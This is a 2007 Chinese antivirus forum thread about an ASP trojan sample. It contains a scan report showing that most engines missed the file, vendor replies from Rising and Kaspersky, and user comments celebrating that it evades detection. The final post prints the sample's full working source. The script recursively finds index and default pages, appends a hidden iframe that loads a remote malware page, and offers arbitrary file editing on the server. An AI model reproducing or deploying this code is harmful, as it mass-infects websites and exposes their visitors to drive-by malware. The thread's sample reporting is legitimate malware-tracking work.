Trojan.Agent.a

显示全部楼层 · 发表于 2007-4-22 22:05:57

又过NOD、卡巴6.........

显示全部楼层 · 发表于 2007-4-22 22:06:39

上报。。。。。

显示全部楼层 · 发表于 2007-4-22 22:14:14

一个脚本而已……

显示全部楼层 · 发表于 2007-4-22 22:15:52

asp ??估计没几个报的..

显示全部楼层 · 发表于 2007-4-22 22:22:04

[ file data ]
* name: Trojan.Agent.a_.rar
* size: 1372
* md5.: 39f8b117850db84c1841074b10f92540
* sha1: 4a7430e782280608fb81e2e5175d421a5f6943aa

[ scan result ]
AhnLab-V3    2007.4.21.0/20070420 found nothing

AntiVir 7.3.1.53/20070422    found nothing

Authentium    4.93.8/20070420 found nothing
Avast 4.7.981.0/20070421    found nothing
AVG    7.5.0.464/20070421    found nothing

BitDefender    7.2/20070422 found nothing
CAT-QuickHeal 9.00/20070421 found nothing

ClamAV  devel-20070416/20070421 found nothing

DrWeb 4.33/20070422 found nothing
eSafe 7.0.15.0/20070419    found nothing

eTrust-Vet    30.7.3585/20070421    found nothing

Ewido 4.0/20070422 found [Trojan.Agent.a]

F-Prot  4.3.2.48/20070420    found nothing

F-Secure       6.70.13030.0/20070422 found nothing

FileAdvisor    1/20070422    found nothing

Fortinet       2.85.0.0/20070422    found nothing
Ikarus  T3.1.1.5/20070422    found nothing
Kaspersky    4.0.2.24/20070422    found nothing

McAfee  5014/20070420 found nothing
Microsoft    1.2405/20070422 found nothing

NOD32v2 2210/20070422 found nothing

Norman  5.80.02/20070421       found nothing

Panda 9.0.0.4/20070422       found nothing

Prevx1  V2/20070422    found nothing
Sophos  4.16.0/20070420 found nothing

Sunbelt 2.2.907.0/20070419    found nothing

Symantec       10/20070422    found nothing
TheHacker    6.1.6.095/20070415    found nothing
VBA32 3.11.4/20070421 found nothing
VirusBuster    4.3.7:9/20070421       found nothing

Webwasher-Gateway    6.0.1/20070422  found [VBScript.Unwanted.gen!FR:M-FW:H-CL:H

显示全部楼层 · 发表于 2007-4-22 22:28:27

上报去

显示全部楼层 · 发表于 2007-4-22 22:33:50

尊敬的客户，您好！
您的邮件已经收到，感谢您对瑞星的支持。

我们已经详细分析过您的问题和文件，以下是您上传的文件的分析结果：
1.文件名：Trojan.Agent.a .asp
不是病毒

注意：如果您上报的文件损坏或者压缩包有密码保护，会导致我们无法正确分析，请您确认文件正常且压缩包中无密码后再提交。
如有问题，您可以通过电话或者邮件服务中心与我们联系，详细描述您的问题，并且提供此封邮件主题中的流水单号以及上报所用的电子邮件地址。
提醒：为保证收到您的来信，请勿直接回复本邮件!!!

[ 本帖最后由 moonsilver 于 2007-4-24 11:29 编辑 ]

显示全部楼层 · 发表于 2007-4-23 21:55:01

过趋势。。。没过金山。。。哈哈国产好啊！

显示全部楼层 · 发表于 2007-4-24 07:34:35

Hello,

Trojan.Agent.a .asp - Trojan.ASP.Agent.a

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

--
Best regards, Yaroslav Kirillov
Virus analyst, Kaspersky Lab.
e-mail: newvirus@kaspersky.com
http://www.kaspersky.com/

http://www.kaspersky.com/virusscanner - free online virus scanner.
http://www.kaspersky.com/helpdesk.html - technical support.

显示全部楼层 · 发表于 2007-4-24 11:30:58

<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" c>
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")
s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")
If ex<>"" AND pth<>"" Then
Select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End Select
Else
%>
<form action="<%=ASP_SELF%>" method="POST">
FOLDER (ABSOLUTE PATH):
<input type="text" name="fd" size="40">
<input type="submit" value="SUBMIT">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function
If IsPattern("[^ab]{1}:{1}([url=file://\\|\/)]\\|\/)",s[/url]) Then
sch s
Else
If s<>"" Then Response.Write "Invalid Agrument!"
End If
Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.CreateObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub
Sub step_all(agr)
retVal=IsPattern("([url=file://\\|\/)(default|index)\.(htm|html|asp|php|jsp)\b]\\|\/)(default|index)\.(htm|html|asp|php|jsp)\b",agr[/url])
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br>
<%End Sub%>
<%
Sub step2(str2)
addcode="<iframe src=http://8.71z.cn/ms.htm width=0 height=0 frameborder=0></iframe>"
Set fs=Server.CreateObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.CreateObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action="<%=ASP_SELF%>" method="POST">
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>
<input type="hidden" name="pth" value="<%=fname%>">
<input type="hidden" name="ex" value="save">
<input type="submit" value="SAVE">
</form>
<%Else%>
<p>THE FILE IS NOT EXIT OR HAVE DELETED.</p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.CreateObject("Scripting.FileSystemObject")
Set newf=fs2.CreateTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "<p>THE FILE WAS MODIFIED SUCCESSFULLY.</p>"
End Sub
%>
</body>
</html>

复制代码

[ 本帖最后由 ALEXBLAIR 于 2007-4-24 13:49 编辑 ]

Trojan.Agent.a

本帖子中包含更多资源